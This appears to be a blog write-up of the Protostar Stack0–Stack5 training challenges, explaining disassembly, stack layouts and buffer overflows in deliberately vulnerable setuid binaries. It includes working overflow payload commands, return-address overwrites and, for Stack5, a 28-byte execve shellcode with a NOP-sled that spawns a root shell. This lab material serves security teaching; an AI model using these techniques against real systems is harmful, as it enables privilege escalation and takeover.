Buffer Overflow

                        Buffer Overflows

                                                                (The real hacking)



I meant this real hacking cause , this is where you will be understanding the underlying code and then bypassing rather than relaying upon some tool to do the shit for you.

Pre-requisite :

You must have basic knowledge of assembly language

Disclamer :

Don't forget to put on a diving mask while reading this blog cause we are going to get deep


So assuming you already have basic knowledge on assembly lets start learning reverse engineering by solving some challenges by protostar.

Description :

All the binary files we will be exploiting has owner and group owner as root and guess what ? it has setuid on it set :) 

Challange 1 :

Protostar Stack0

Task :

So we are supposed to reverse engineer the binary file

So first just execute the binary and see what happening

Fig : 1.1


Fig : 1.2



refering Fig : 1.1 and Fig : 1.2 we can see that upon execution of the binary we are prompted for input and after giving some input and hitting enter we can see a message "Try again?" is show and then we are and we are back to our terminal

So lets debug and disassamble main fuction of the binary

Fig : 1.3


So in Fig : 1.1 we can see the assembly code of the binary code and let's examine it step by step , and draw the stack for analysis , shall we :)

The code :

0x080483f4 <main+0>:   push  %ebp
0x080483f5 <main+1>:   mov   %esp,%ebp
0x080483f7 <main+3>:   and    $0xfffffff0,%esp
0x080483fa <main+6>:   sub    $0x60,%esp
0x080483fd <main+9>:   movl  $0x0,0x5c(%esp)
0x08048405 <main+17>:  lea     0x1c(%esp),%eax
0x08048409 <main+21>:  mov   %eax,(%esp)
0x0804840c <main+24>:  call     0x804830c <gets@plt>
0x08048411 <main+29>:  mov    0x5c(%esp),%eax
0x08048415 <main+33>:  test     %eax,%eax
0x08048417 <main+35>:  je        0x8048427 <main+51>
0x08048419 <main+37>:  movl   $0x8048500,(%esp)
0x08048420 <main+44>:  call      0x804832c <puts@plt>
0x08048425 <main+49>:  jmp      0x8048433 <main+63>
0x08048427 <main+51>:  movl    $0x8048529,(%esp)
0x0804842e <main+58>:  call       0x804832c <puts@plt>
0x08048433 <main+63>:  leave  
0x08048434 <main+64>:  ret    

Stack that I came up with after analyzing the code :


Fig : 1.4



Don't worry we will look at the code in parts for easier understanding purposes and would also help you as a refresher , So let's see how the stack was built step by step : 

Part 1 :

0x080483f4 <main+0>:    push   %ebp
0x080483f5 <main+1>:    mov    %esp,%ebp

Fig : 1.5


Part 2 :

0x080483f7 <main+3>:    and     $0xfffffff0,%esp
0x080483fa <main+6>:    sub     $0x60,%esp

Fig : 1.6

Part 3 :

0x080483fd <main+9>:  movl    $0x0,0x5c(%esp)
0x08048405 <main+17>:   lea      0x1c(%esp),%eax
0x08048409 <main+21>:   mov    %eax,(%esp)
0x0804840c <main+24>:   call     0x804830c <gets@plt>

Fig : 1.7

Part 4 :

0x08048411 <main+29>:   mov    0x5c(%esp),%eax
0x08048415 <main+33>:   test      %eax,%eax
0x08048417 <main+35>:   je         0x8048427 <main+51>

As you can see in the above code we are taking the value 0 into register eax and checking it if it is zero and not changed and if its unchanged then it is jumping to the address 0x8048427

0x08048427 <main+51>:   movl    $0x8048529,(%esp)
0x0804842e <main+58>:   call      0x804832c <puts@plt>
0x08048433 <main+63>:   leave  
0x08048434 <main+64>:   ret    

Now its just printing out : " Try again?"

0x08048419 <main+37>:   movl    $0x8048500,(%esp)
0x08048420 <main+44>:   call       0x804832c <puts@plt>
0x08048425 <main+49>:   jmp      0x8048433 <main+63>

0x08048433 <main+63>:   leave  
0x08048434 <main+64>:   ret    


Now if its not zero then its printing some other text and exiting the main function and so after analysing the code , if we change the variable 0 the jump-if-equal will fail and we can reach the code that's not executed otherwise and it is possible because gets is a vulnerable function as it takes the input even if it execedes the allocated limit . So firstly we should complete our buffer space and then reach the variable 0 to change it .

To change it first we should fill up the space allocated and modify the variable 0 and the allocated space is of 64 bytes and any input more than 64 bytes tampers the variable 0.


So as each alpahbet takes one byte of space we will give 65 ( 64 + 1 ) alphabets or bytes as an input to modify the variable 0.


So let's first give 64 a's as our input and examine the status via a breakpoint

You can use python to generate the number of alphabets you wanted as in Fig : 1.8 

Fig : 1.8


Yep that quote sounds cool right , I know 😏

After giving a series of A's (64) as input , you can see that we are exactly at the verge of modifying the variable 0  refer Fig : 1.9

Fig : 1.9


And upon adding atleast one more A or any alphabet we will be overwriting the variable 0 and hence will be able to run the other piece of code , refer Fig : 2.0

Fig : 2.0


Fig : 2.1



And in Fig : 2.1 we can see that we sucessfully changed the variable !! and that is the puts function of the codes that is non-executable by default


Challange 2 :

Protostar Stack1

Task :

So we are supposed to reverse engineer the binary file

So first just execute the binary and see what happening

Fig : 2.2


In Fig : 2.2 we can see that output "please specify an argument" , so lets give it an argument and re-execute it

Fig : 2.3


In Fig : 2.3 we can see the output after giving the argument "Try again, you got 0x00000000"

Let's disassamble the main function of the binary , refer Fig : 2.4

Fig : 2.4


 

Code :

0x08048464 <main+0>:   push  %ebp
0x08048465 <main+1>:   mov   %esp,%ebp
0x08048467 <main+3>:   and     $0xfffffff0,%esp
0x0804846a <main+6>:   sub     $0x60,%esp
0x0804846d <main+9>:   cmpl   $0x1,0x8(%ebp)
0x08048471 <main+13>:  jne     0x8048487 <main+35>
0x08048473 <main+15>:  movl  $0x80485a0,0x4(%esp)
0x0804847b <main+23>:  movl  $0x1,(%esp)
0x08048482 <main+30>:  call     0x8048388 <errx@plt>
0x08048487 <main+35>:  movl   $0x0,0x5c(%esp)
0x0804848f <main+43>:   mov    0xc(%ebp),%eax
0x08048492 <main+46>:   add     $0x4,%eax
0x08048495 <main+49>:   mov    (%eax),%eax
0x08048497 <main+51>:   mov    %eax,0x4(%esp)
0x0804849b <main+55>:   lea      0x1c(%esp),%eax
0x0804849f <main+59>:   mov    %eax,(%esp)
0x080484a2 <main+62>:   call     0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    0x5c(%esp),%eax
0x080484ab <main+71>:   cmp    $0x61626364,%eax
0x080484b0 <main+76>:   jne      0x80484c0 <main+92>
0x080484b2 <main+78>:   movl   $0x80485bc,(%esp)
0x080484b9 <main+85>:   call     0x8048398 <puts@plt>
0x080484be <main+90>:   jmp     0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    0x5c(%esp),%edx
0x080484c4 <main+96>:   mov    $0x80485f3,%eax
0x080484c9 <main+101>: mov    %edx,0x4(%esp)
0x080484cd <main+105>: mov    %eax,(%esp)
0x080484d0 <main+108>: call      0x8048378 <printf@plt>
0x080484d5 <main+113>: leave  
0x080484d6 <main+114>:  ret    

Considering line <main+13> there are two possible cases refer Fig : 2.5

Fig : 2.5



Part 1 : 

Firstly Let's look at the True condition :

0x08048464 <main+0>:  push  %ebp
0x08048465 <main+1>:  mov   %esp,%ebp
0x08048467 <main+3>:  and     $0xfffffff0,%esp
0x0804846a <main+6>:  sub     $0x60,%esp
0x0804846d <main+9>:  cmpl   $0x1,0x8(%ebp)
0x08048471 <main+13>: jne     0x8048487 <main+35>
0x08048473 <main+15>:  movl  $0x80485a0,0x4(%esp)
0x0804847b <main+23>:  movl  $0x1,(%esp)

In Fig : 2.6 you can see the stack diagram 

Fig : 2.6

And after that errx function is called in the next instruction

Part 2 :

0x08048482 <main+30>:  call     0x8048388 <errx@plt>

Which means we can understand that errx function is called with an exit value of 1 , which means to terminate the program by printing a string as the output and you can see the string in Fig : 2.7

Fig : 2.7


This is the same output we've got when we executed without any argument , to make the jne condition fail we shall provide an argument which then makes the argument count more than 1 :)

Fig : 2.8


In Fig : 2.8 we can see a different output "Try again, you got 0x00000000"

Let's examine a code snippet and visualize it : 

Part 3 :

0x08048487 <main+35>: movl   $0x0,0x5c(%esp)
0x0804848f <main+43>: mov    0xc(%ebp),%eax
0x08048492 <main+46>: add     $0x4,%eax
0x08048495 <main+49>: mov    (%eax),%eax
0x08048497 <main+51>: mov    %eax,0x4(%esp)
0x0804849b <main+55>: lea      0x1c(%esp),%eax
0x0804849f <main+59>: mov    %eax,(%esp)
0x080484a2 <main+62>: call     0x8048368 <strcpy@plt>
0x080484a7 <main+67>: mov    0x5c(%esp),%eax

Fig : 2.9





In Fig: 2.9 we can see the stack and where the input is getting added to and next :

Part 4 :


0x080484ab <main+71>: cmp    $0x61626364,%eax
0x080484b0 <main+76>: jne      0x80484c0 <main+92>

It's comparing the value of the location 0x5c(%esp) which is 0 initially with the string "abcd"

Fig : 3.0



If the comparision fails then it printing the value at location 0x5c(%esp) which we have already seen in Fig : 2.8 

So making stack look like Fig : 3.1 would be our end goal as the comparision will be correct and so we will be successfully bypassing the binary.

Fig : 3.1

In Fig : 3.0 we can see that we are 64 bytes away to reach the variable and next we need to change it to abcd ( 4 bytes length ) . So our payload would be looking something like Fig : 3.2

Fig : 3.2


Well there you goooo , we've won !!!

Challange 3 :

Protostar Stack2

Task :

So we are supposed to reverse engineer the binary file

Fig : 3.3


In Fig : 3.3 upon executing the binary we were been display with a message "please set the GREENIE environment variable" 

Time to dig into the assembly code Fig : 3.4:

Fig : 3.4 


Code in Fig : 3.4 :

0x08048494 <main+0>:   push   %ebp
0x08048495 <main+1>:   mov    %esp,%ebp
0x08048497 <main+3>:   and     $0xfffffff0,%esp
0x0804849a <main+6>:   sub     $0x60,%esp
0x0804849d <main+9>:   movl   $0x80485e0,(%esp)
0x080484a4 <main+16>:  call    0x804837c <getenv@plt>
0x080484a9 <main+21>:  mov   %eax,0x5c(%esp)
0x080484ad <main+25>:  cmpl  $0x0,0x5c(%esp)
0x080484b2 <main+30>:  jne     0x80484c8 <main+52>
0x080484b4 <main+32>:  movl  $0x80485e8,0x4(%esp)
0x080484bc <main+40>:  movl  $0x1,(%esp)
0x080484c3 <main+47>:  call    0x80483bc <errx@plt>
0x080484c8 <main+52>:  movl  $0x0,0x58(%esp)
0x080484d0 <main+60>:  mov   0x5c(%esp),%eax
0x080484d4 <main+64>:  mov  %eax,0x4(%esp)
0x080484d8 <main+68>:  lea     0x18(%esp),%eax
0x080484dc <main+72>:  mov   %eax,(%esp)
0x080484df <main+75>:  call     0x804839c <strcpy@plt>
0x080484e4 <main+80>:  mov   0x58(%esp),%eax
0x080484e8 <main+84>:  cmp    $0xd0a0d0a,%eax
0x080484ed <main+89>:  jne      0x80484fd <main+105>
0x080484ef <main+91>:  movl    $0x8048618,(%esp)
0x080484f6 <main+98>:  call      0x80483cc <puts@plt>
0x080484fb <main+103>:  jmp   0x8048512 <main+126>
0x080484fd <main+105>:  mov   0x58(%esp),%edx
0x08048501 <main+109>:  mov   $0x8048641,%eax
0x08048506 <main+114>:  mov   %edx,0x4(%esp)
0x0804850a <main+118>:  mov   %eax,(%esp)
0x0804850d <main+121>:  call    0x80483ac <printf@plt>
0x08048512 <main+126>:  leave  
0x08048513 <main+127>:  ret    
End of assembler dump.


Part 1 :

0x08048494 <main+0>:   push   %ebp
0x08048495 <main+1>:   mov    %esp,%ebp
0x08048497 <main+3>:   and    $0xfffffff0,%esp
0x0804849a <main+6>:   sub    $0x60,%esp
0x0804849d <main+9>:   movl   $0x80485e0,(%esp)
0x080484a4 <main+16>:  call   0x804837c <getenv@plt>

Here we can see that we are calling the function getenv which returns a pointer to the string containing the value for the specified varname in the current environment. If getenv() cannot find the environment string, NULL is returned.

Fig : 3.5


In Fig : 3.5 we can see that it is trying to access an environemnt vairable called GREENIE 

Part 2 : 

0x080484a9 <main+21>:  mov   %eax,0x5c(%esp)
0x080484ad <main+25>:  cmpl  $0x0,0x5c(%esp)
0x080484b2 <main+30>:  jne     0x80484c8 <main+52>
0x080484b4 <main+32>:  movl  $0x80485e8,0x4(%esp)
0x080484bc <main+40>:  movl  $0x1,(%esp)
0x080484c3 <main+47>:  call    0x80483bc <errx@plt>

If it fails to retrive the environment variable a null is returned and so the code is checking if its null using the cmpl instruction and if it is null (0 in our case) then the message "please set the GREENIE environment variable\n" is returned refer Fig : 3.6

Fig : 3.6


So all we need to do is set the environment variable "GREENIE" as it is taken as the source of input instead via argument and the remaining part of the code is simply the same as Challenge 2 just the difference is that it's comparing if the modified variable is a new line.

Fig : 3.7


Commands : 

python -c "print ( 'A' * 64 + '\x0a\x0d\x0a\x0d')" > /tmp/output

export GREENIE=$( < /tmp/output)

In Fig : 3.7 we can see that we've sucessfully bypassed the binary file :)

Challange 4 :

Protostar Stack3

Task :

So we are supposed to reverse engineer the binary file and execute a function

Fig : 3.8



In Fig : 3.8 upon executing the binary there is no output but its taking the input and right after it exists

Let's examine the code

Fig : 3.9



Code : 

0x08048438 <main+0>:  push  %ebp
0x08048439 <main+1>:  mov  %esp,%ebp
0x0804843b <main+3>:  and   $0xfffffff0,%esp
0x0804843e <main+6>:  sub    $0x60,%esp
0x08048441 <main+9>:  movl  $0x0,0x5c(%esp)
0x08048449 <main+17>: lea     0x1c(%esp),%eax
0x0804844d <main+21>: mov   %eax,(%esp)
0x08048450 <main+24>: call     0x8048330 <gets@plt>
0x08048455 <main+29>: cmpl   $0x0,0x5c(%esp)
0x0804845a <main+34>:  je       0x8048477 <main+63>
0x0804845c <main+36>:  mov   $0x8048560,%eax
0x08048461 <main+41>:  mov   0x5c(%esp),%edx
0x08048465 <main+45>:  mov   %edx,0x4(%esp)
0x08048469 <main+49>:  mov   %eax,(%esp)
0x0804846c <main+52>:  call    0x8048350 <printf@plt>
0x08048471 <main+57>:  mov   0x5c(%esp),%eax
0x08048475 <main+61>:  call    *%eax
0x08048477 <main+63>:  leave  
0x08048478 <main+64>:  ret    

This is the same as the previous taskes we've done refer Fig : 1.7 for the stack representation . However the difference lies in this part of the code

0x08048455 <main+29>: cmpl   $0x0,0x5c(%esp)
0x0804845a <main+34>:  je       0x8048477 <main+63>
0x0804845c <main+36>:  mov   $0x8048560,%eax
0x08048461 <main+41>:  mov   0x5c(%esp),%edx
0x08048465 <main+45>:  mov   %edx,0x4(%esp)
0x08048469 <main+49>:  mov   %eax,(%esp)
0x0804846c <main+52>:  call    0x8048350 <printf@plt>
0x08048471 <main+57>:  mov   0x5c(%esp),%eax
0x08048475 <main+61>:  call    *%eax
0x08048477 <main+63>:  leave  
0x08048478 <main+64>:  ret    

As here it snippet is comparing if the modified variable is zero , if it's true it exists and else it calls the printf function saying "calling function pointer, jumping to (whatever in location of 0x5c(%esp) which is modified variable initially)"  and it makes a call with whatever value present in modified variable.

Fig : 4.0


Fig : 4.0 makes things clear as you can also see Segmentation fault cause 0x00004141 is an invalid address

So analysing the code completely if we can replace an existing address with the modified variable then we can redirect our program flow !

Fig : 4.1


In Fig : 4.1 after dumping all the function using objdump

Command : 

objdump -D stack3 | less

We can see a function in the binary which is win and the function is doing nothing but printing "code flow successfully changed" refer Fig : 4.2 ( note the address )

Fig : 4.2

So I guess that's what they wanted us to execute and let's do it already

Fig : 4.3

YaY !! we have sucessfully redirected the code flow !!

Challange 5 :

Protostar Stack 4

Task :

So we are supposed to reverse engineer the binary file and execute a function

Fig : 4.4



Stack4 behaves the same as stack3 upon execution 

Fig : 4.5



Code : 

Dump of assembler code for function main:
0x08048408 <main+0>:   push %ebp
0x08048409 <main+1>:   mov  %esp,%ebp
0x0804840b <main+3>:   and   $0xfffffff0,%esp
0x0804840e <main+6>:   sub   $0x50,%esp
0x08048411 <main+9>:   lea    0x10(%esp),%eax
0x08048415 <main+13>:  mov %eax,(%esp)
0x08048418 <main+16>:  call   0x804830c <gets@plt>
0x0804841d <main+21>:  leave  
0x0804841e <main+22>:  ret
    
Stack4 also looks nothing as exploitable other than making it Segmentation fault , However if you really look into it we have the win function in the stack4 binary as well Fig : 4.6

Fig : 4.6


Which means if we overwite the address that main function returns to after execution , with the address of win function then we will be able to sucessfully redirect the flow of the code which otherwise wouldn't

Fig : 4.6




Let's bypass the binary by refering Fig : 4.6

Fig : 4.7



And we have successfully bypassed the binary !!

Challange 6 :

Protostar Stack 5

This is where things will get real interesting

Task :

We should spawn a root shell , in other words privilage escalation !

Fig : 4.8



In Fig : 4.8 stack5 binary behaves the same as stack3 or 4

Let's dissamble it

Fig : 4.9



Code : 

0x080483c4 <main+0>:   push  %ebp
0x080483c5 <main+1>:   mov   %esp,%ebp
0x080483c7 <main+3>:   and    $0xfffffff0,%esp
0x080483ca <main+6>:   sub    $0x50,%esp
0x080483cd <main+9>:   lea     0x10(%esp),%eax
0x080483d1 <main+13>:  mov  %eax,(%esp)
0x080483d4 <main+16>:  call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:  leave  
0x080483da <main+22>:  ret    

The code looks very simple , like theres nothing intersting going on !

There's no suspicious functions like win to redirect the code flow sooo what to do now 😶, Well this is where we execute our own shell code 👿 and spawn the root shell .

So we will be entering our shell code into the stack and executing it ourself by overwriting the main's return address with the address that points to the shellcode we entered into the stack and boom !

The shellcode that is going in is : 

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";
The shellcode isn't created by me , it's already over the internet click here to view it and note that this is 28 bytes long

Fig : 5.0 gives you a good understanding

Fig : 5.0


However , it is very hard to point to the exact address from where the shellcode start , cause its not always one static or constant address as it changes time to time considering the factors such as the directory you are executing the binary from or the environment variables that are getting loaded into the stack upon execution . And so to address this problem of not able to give the exact address for the start of the shellcode we can use slides :)


Yes, you hear me right , to be specific we shall use nop-sled . So a nop (no operation ) instruction tells to do nothing and move on . And how is it going to hlep us out exactly ? 

We are going to create a series of nop instruction which is known as nop-sled and then attach with the payload (Shellcode) that we intend to get executed and so when we start executing , it just leads us to the shellcode Fig : 5.1

Fig : 5.1

In Fig : 5.1 we can see that we just need to overwrite the  main's return address with an address that points to somewhere at the middle of the nop-sled which eventually takes it to the ShellCode and this is how it addresses the problem of specifying the address that denotes the exact start of the ShellCode. 

Let me explain you with the stack , refer Fig : 5.2

Fig : 5.2


In Fig ; 5.2 gives the explanation using the stack diagram

Before crafting the exploit firstly let's see what should our return address be :

( esp + x10 ( starting point of our input ) + x12 ( 18 bytes ) ) points us to the middle of the nop sled

which translates to 

0xbffff760 + x10 + x12 = 0xbffff782

It's time to exploit !

Fig : 5. 3


Fig : 5.3 is a simple script in python to generate the paylaod

Fig : 5.4


Commands : 

python /tmp/stack5.py > /tmp/payload

( cat /tmp/payload ; cat) | /opt/protostar/bin/stack5

This syntax of cat keeps the pipe open which prevents exiting the program so that we will be able to run shell commands

In Fig : 5.4 we have sucessfully lauched the root shell !!


Comments

Popular posts from this blog

Learning Nmap Host Discovery with iptables and Wireshark Analysis

Persistence Techniques with Metasploit - Part 6

Generating Payloads using Msfvenom - Metasploit Part 5